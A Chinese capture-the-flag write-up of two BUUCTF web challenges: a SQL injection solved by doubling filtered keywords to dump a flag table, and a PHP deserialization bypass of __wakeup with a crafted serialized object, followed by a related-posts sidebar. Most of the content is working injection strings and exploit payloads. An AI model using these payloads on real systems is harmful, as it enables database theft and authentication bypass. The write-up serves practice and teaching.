BUUCTF——WEB(6)

目录

[[极客大挑战 2019]BabySQL 1](#[极客大挑战 2019]BabySQL 1)

sql注入

[[极客大挑战 2019]PHP 1](#[极客大挑战 2019]PHP 1)

php反序列化

[极客大挑战 2019]BabySQL 1

sql注入

尝试万能密码

复制代码
1' or 1=1#

123

尝试联合查询

复制代码
1' order by 1#

123

or 和 by都被过滤

尝试双写绕过

复制代码
1' oorrder bbyy 2#

123

双写绕过可行

联合查询深度利用

尝试

复制代码
1' oorrder bbyy 4#

123

出现报错

则所查询的数据表有三列

构造查询

复制代码
1' union select 1,2,3#

123

union select 被过滤

再次尝试双写

复制代码
1' uunionnion sselectelect 1,2,3#

123

根据回显,查找数据

复制代码
1' uunionnion sselectelect 1,database(),version()#

123
复制代码
1' uunionnion sselectelect 1,database(),group_concat(table_name) from information_schema.tables where table_schema=geek#

123

报错,因为字符中的or被过滤,

经过测试where,from都被过滤

继续双写

复制代码
1' uunionnion sselectelect 1,database(),group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()#

123

好像在当前查询数据库中,没有相关表,

继续查看数据库

复制代码
1' uunionnion sselectelect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata#

123

有一个ctf数据库,

尝试注入ctf数据库中的数据表

复制代码
1' uunionnion sselectelect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

123

数据表为Flag表,查询列名

复制代码
1' uunionnion sselectelect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema='ctf'#

123

Flag表中又一个字段flag

查询flag字段数据

复制代码
1' uunionnion sselectelect 1,2,group_concat(flag) frfromom ctf.Flag#

123

[极客大挑战 2019]PHP 1

php反序列化

网站备份

进行目录爆破,查找备份文件

访问www.zip发现源码泄露

提交查看是错误的

查看index.php

存在反序列化函数 unserialize()

unserialize() 是 PHP 中专门用于 "反序列化" 的函数,作用是将序列化后的字符串还原为 PHP 对象 / 数据结构,这是反序列化操作的标志性函数。

$select = $_GET['select']; 表示:$select 的值是从 URL 的 GET 参数(?select=xxx)中获取的,用户可以自定义传入任意内容

包含class.php并且有一个反序列化点

核心逻辑与漏洞点分析

先拆解 Name 类的关键魔术方法和限制条件,明确利用目标:

关键绕过技巧

  • PHP 存在一个经典漏洞(PHP < 5.6.25/7.0.10):当序列化字符串中声明的属性数量 > 类实际的属性数量 时,__wakeup 不会被触发。
  • 本类实际属性数是 2($username$password),只需把序列化字符串中的属性数从 2 改成 3 即可绕过。

构造反序列化 Payload

查看class.php

思路:username值为admin,password值为100,可以输出flag

构造反序列化payload

复制代码
<?php
class Name{
    private $username = 'admin';
    private $password = '100';
}
$a= new Name();
$res=serialize(@$a);   
echo $res
?>

输出反序列化字符串

复制代码
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

这里我们发现Nameusername与前面的14不对应,少了两个字符,而Namepassword也是少了两个字符,这是因为username和password变量是private类型,变量中的类名前后会有空白符

Name前后需要添加%00

同时要绕过_wakeup(),还要将Name后面的数字修改为大于2的数。

结果:

复制代码
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

get传参:

复制代码
?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
相关推荐
迷枫71211 小时前
达梦数据库的体系架构
数据库·oracle·架构
千枫s11 小时前
kali 免杀木马
网络安全
夜晚打字声11 小时前
9(九)Jmeter如何连接数据库
数据库·jmeter·oracle
Chasing__Dreams11 小时前
Mysql--基础知识点--95--为什么避免使用长事务
数据库·mysql
NineData12 小时前
NineData 智能数据管理平台新功能发布|2026 年 3 月
数据库·oracle·架构·dba·ninedata·数据复制·数据迁移工具
AI_Claude_code12 小时前
ZLibrary访问困境方案三:Web代理与轻量级转发服务的搭建与优化
爬虫·python·web安全·搜索引擎·网络安全·web3·httpx
小陈工12 小时前
2026年4月7日技术资讯洞察:下一代数据库融合、AI基础设施竞赛与异步编程实战
开发语言·前端·数据库·人工智能·python
❀͜͡傀儡师12 小时前
k8s部署的Nexus 3 数据库损坏恢复指南:从删除损坏数据库到完整数据重建
数据库·kubernetes·nexus3
乾元12 小时前
《硅基之盾》番外篇二:算力底座的暗战——智算中心 VXLAN/EVPN 架构下的多租户隔离与防御
网络·人工智能·网络安全·架构
StackNoOverflow13 小时前
Spring Security权限控制框架详解
java·数据库·sql